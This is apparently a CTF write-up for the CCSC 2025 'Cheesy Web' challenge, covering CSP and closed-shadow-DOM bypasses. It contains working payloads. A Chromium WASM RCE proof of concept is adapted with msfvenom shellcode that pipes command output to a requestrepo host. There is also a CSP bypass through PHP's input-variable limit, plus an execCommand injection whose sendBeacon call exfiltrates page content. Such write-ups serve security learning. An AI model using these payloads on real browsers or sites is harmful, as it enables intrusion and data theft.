CCSC 2025 Cheesy Web

15/07/2025 - 6 minutes

2025 XSS ccsc csp css-injection ctfs hacking php shadow-dom web
  1. 1 Description
  2. 2 Enumeration
  3. 3 Unintended solution
  4. 4 Intended solution
  5. 5 Conclusion

# Description

🧀 Authors: deltaclock & GramThanos

# Enumeration

Clearly before starting enumeration we have an idea that we might have to cheese this challenge. Cheesing for the uninitiated is a term from the gaming community.

using unconventional or unintended game mechanics, glitches, or exploits to gain an advantage, often making a difficult task easier than intended - random reddit post

We are only given an instance link, but luckily upon navigating to the instance the application provides its source code

<?php

$nonce = bin2hex(openssl_random_pseudo_bytes(32));
header("Content-Security-Policy: default-src 'none';script-src 'nonce-$nonce';");
if (isset($_GET["xss"])){

?>
<!DOCTYPE html>
<html lang="en">
<body>
<script type="text/javascript" nonce="<?=$nonce;?>">
(function() {
    let d1 = document.createElement('div');
    let flag = window.localStorage.getItem('flag') || 'ECSC{f4ke-f1aG}';
    window.localStorage.removeItem('flag');
    let d2 = document.createElement('div');
    d2.appendChild(document.createTextNode('Nothing to see here...'));
    d2.appendChild(document.createComment('Here is your flag: ' + flag));
    document.body.appendChild(d1);
    d1.attachShadow({ mode: "closed" }).appendChild(d2);
    window.addEventListener('message', message => {
        if (message.source === window) return;
        if (event.data && event.data.hasOwnProperty('style')) {
            for (const [key, value] of Object.entries(event.data.style)) {
                if (key.startsWith('-')) continue;
                d2.style[key] = value;
            }
        }
    });
})();
</script>
<?php
    echo $_GET["xss"];
?>
</body>
</html>
<?php
}
else {
    show_source("index.php");
}

// Use bot.php to access the flag

Skimming through the lines of code we can see:

Lets visit bot.php and take a look on what we have there Alright so we can send a URL, lets validate that there is a server side check for The URL should start with "http://localhost/index.php?". Unfortunately it seems that there is indeed a whitelist on that one. Let's however send a URL with a meta tag injected causing a redirect to our server to get to know the enemy a little better.

POST /bot.php HTTP/1.1
Host: challenges.cybermouflons.com:10005
Content-Length: 127
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

url=http://localhost/index.php?xss=<meta+http-equiv%3d"refresh"+content%3d"0%3b+url%3dhttps%3a//j2trs8f8.requestrepo.com/">

# Unintended solution

OH YES! I cheesed the solution to a challenge with an already cheesy solution. hackerman gif

The keen eyes among you might have noticed the version of HeadlessChrome, version 120.0.6099.224 when is that from? Stone age? Well it's from January 2024 (18 months ago) so close enough. So I said to myself, there must definitely be a CVE for this version of HeadlessChrome. And I was right, there is an RCE exploit on chromium issues that came out September 2024 (P1 with a bounty of $55000) that was fixed in 128, so it probably fits our needs, it does not have a CVE number to attach here but let's roll with it (Note: there is another writeup that uses this technique as an unintended solution to a challenge).

WASM type confusion due to imported tag signature subtyping. The imported tag signature is allowed to be a subtype of the defined tag signature, which should instead be invariant.

Ye ye blah blah. If you cannot solve web challenge, all web challenges can become PWN challenges if you can PWN the browser is a phrase I was once told by christoss

Luckily there is an attached POC that we can change up for our needs!

After cleaning up some windows specific instructions (popping a calculator), we can adjust it to our needs. It seems to execute a shellcode array, so lets generate one with MSFvenom.

import subprocess
from requestrepo import Requestrepo

client = Requestrepo(token="", host="requestrepo.com", port=443, protocol="https")

xpl_html = open("xpl.html").read()

CMD = f"ls| curl -d @- {client.domain}"

out = subprocess.check_output(f"msfvenom -p linux/x64/exec CMD='{CMD}' -f py", shell=True)
exec(out)

payload = ', '.join(hex(c) for c in buf)
print(payload)

xpl_html = xpl_html.replace("const sc = [];", f"const sc = [{payload}];")
client.update_http(raw=xpl_html.encode())

We send this to the bot Would you look at that! RCE: success Let's have a look at bot.php to see how the flag is loaded

<?php
// Load Libraries
require('../vendor/autoload.php');

use HeadlessChromium\BrowserFactory;
use HeadlessChromium\Cookies\Cookie;

function startsWith($string, $startString) {
    $len = strlen($startString);
    return (substr($string, 0, $len) === $startString);
}

$result = false;

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['url'])) {
    $url = $_POST['url'];

    if (!startsWith($url, 'http://localhost/index.php?')) {
        $result = 'Error! Invalid URL.';
    } else {
        $flag = trim(file_get_contents('../flag.txt', true));

        // Start headless Chrome
        $browserFactory = new BrowserFactory();
        $browser = $browserFactory->createBrowser([
            'headless' => true,
            'windowSize' => [1920, 945],
            'disableNotifications' => true,
            'noSandbox' => true,
            'customFlags' => [
                '--disable-gpu',
                '--disable-dev-shm-usage',
                '--disable-setuid-sandbox'
            ]
        ]);

        try {
            // Create a new page
            $page = $browser->createPage();

            /*
            $page->setCookies([
                Cookie::create('flag', $flag, [
                    'domain' => 'localhost',
                    'expires' => time() + (60 * 60) // expires in 1 hour
                ])
            ])->await();
            */

            $page->navigate('http://localhost/bot.php')->waitForNavigation();
            $page->evaluate("window.localStorage.setItem('flag', `$flag`)")->getReturnValue();

            // Visit the target URL
            $page->navigate($url)->waitForNavigation();

            // Wait for 5 seconds (e.g., for JavaScript to execute)
            sleep(5);

            $result = 'Page was visited.';
        } catch (Exception $e) {
            $result = 'Failed to visit page.';
            // var_dump($e);
        } finally {
            $browser->close();
        }
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <title>Visit Page</title>
    <link
        href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"
        rel="stylesheet"
        integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH"
        crossorigin="anonymous"
    />
</head>
<body>
    <div class="container my-3" style="width: 600px">
        <h2>🤖 Bot</h2>
        <form method="POST" autocomplete="off">
            <div class="mb-3">
                <label for="url" class="form-label">URL 2 Visit</label>
                <input
                    type="text"
                    class="form-control"
                    id="url"
                    aria-describedby="url-help"
                    name="url"
                    value="http://localhost/index.php?xss=payload"
                    autocomplete="off"
                />
                <div id="url-help" class="form-text">
                    The URL should start with "http://localhost/index.php?".
                </div>
            </div>
            <div class="text-end">
                <button type="submit" class="btn btn-primary">Visit</button>
            </div>
        </form>
        <?php if ($result) { ?>
        <div class="card mt-3">
            <div class="card-body">
                <code><?= htmlspecialchars($result); ?></code>
            </div>
        </div>
        <?php } ?>
    </div>
</body>
</html>
file_get_contents('../flag.txt', true)

How about we do the same?

and flag!

# Intended solution

Let's demonstrate the intended solution as well just for completeness sake.

When it comes to cheesing web challenges I would say one of the best videos out there and half of the solution to this challenge is a video from Pilvar (Philippe Dourassov). I won't go through the whole video although it is definitely a must watch as this tricks can indeed come in handy. Although I will add a small note that the video refers to checking versions of chromium for CVEs so maybe the authors of this challenge should have a watch as well? (A light joke as I of course appreciate the time they spent on making challenges for us to enjoy).

Our point of interest is towards the end of the video where Philippe demonstrates that... PHP is essentially broken with a very similar setup to our challenge, essentially PHP won't send headers after the body has started being sent. Well this is pretty convenient for a CSP bypass as we can cause an error in PHP internals and which will cause the body (with errors) to start being sent, conveniently avoiding the CSP headers from being sent.

The error in this case is caused by sending more than 1000 parameters If we do that we get this in our response

Warning: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in Unknown on line 0

Warning: Cannot modify header information - headers already sent in /var/www/html/index.php on line 4

Focus on Cannot modify header information which essentially makes the reply not have any CSP headers

So,

http://challenges.cybermouflons.com:10146?xss=<script>alert()</script>&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a

will pop an alert!

Lovely! So this gives us XSS, let's just dump the DOM, send it to a requestcatcher and get done with it. Welp! Not so fast! Shadowdom entered the chat!

In this challenge we have a closed shadowdom, which Denies access to the node(s) of a closed shadow root from JavaScript outside it so our initial plan quickly fails.

Some writeups with some info shadowdom which I found useful: DiceCTF 2022 shadow - author , DiceCTF 2022 shadow - huli

In the above writeups we see a novel technique demonstrated for bypassing the shadowdom with again a very similar setup to our challenge. Again CSS injection is deliberately left for us to use. The trick here is to use the non-standard CSS property -webkit-user-modify (same as the contenteditable attribute), which when enabled grants us access to document.execCommand('insertHTML',...) allowing us to inject HTML in the shadowdom itself, if we manage to do that, then the challenge is over as it becomes your plain old XSS. A small issue that we face though is

for (const [key, value] of Object.entries(event.data.style)) {
	if (key.startsWith('-')) continue;
	d2.style[key] = value;
}

which essentially blocks all css attributes starting with -, however another way to write css attributes is to use camelCase so -webkit-user-modify -> webkitUserModify

So,

<script>
window.postMessage({style:{'webkitUserModify':'read-write'}}, '*')
</script>

after trying this out for a while... By debugging I found out that there was something I missed, which was

if (message.source === window) return;

At least that is easy to avoid, we just make a srcdoc iframe.

<iframe srcdoc="<script>parent.postMessage({style:{'webkitUserModify':'read-write'}}, '*')</script>"></iframe>

so now the message.source will be the iframe object and not the window object.

Ok now we can employ document.execCommand!

<iframe srcdoc="<script>parent.postMessage({style:{'webkitUserModify':'read-write'}}, '*')</script>"></iframe><script>setTimeout(() => {console.log('Starting exploit');find('Nothing to see here...');document.execCommand('selectAll');document.execCommand('insertHTML',false,'<img src=x onerror=navigator.sendBeacon(`https://j2trs8f8.requestrepo.com`,this.parentElement.outerHTML)>')}, 2000);</script>

Note: document.execCommand works on the focused element so we search for the "Nothing to see here..." string in order to focus inside the shadowdom

# Conclusion

I would like to thank the organizers of CCSC 2025 for organizing such an event. In addition I would like this challenge to now become a note to myself that I should be looking for the low hanging fruit and cheesy solutions to challenges more often as sometimes you can skip quite a lot of work (like the whole challenge in this case!) and maybe I should start noting down some interesting exploits and pay closer attention to recent research in Cybersecurity, in order to employ this novel techniques more often!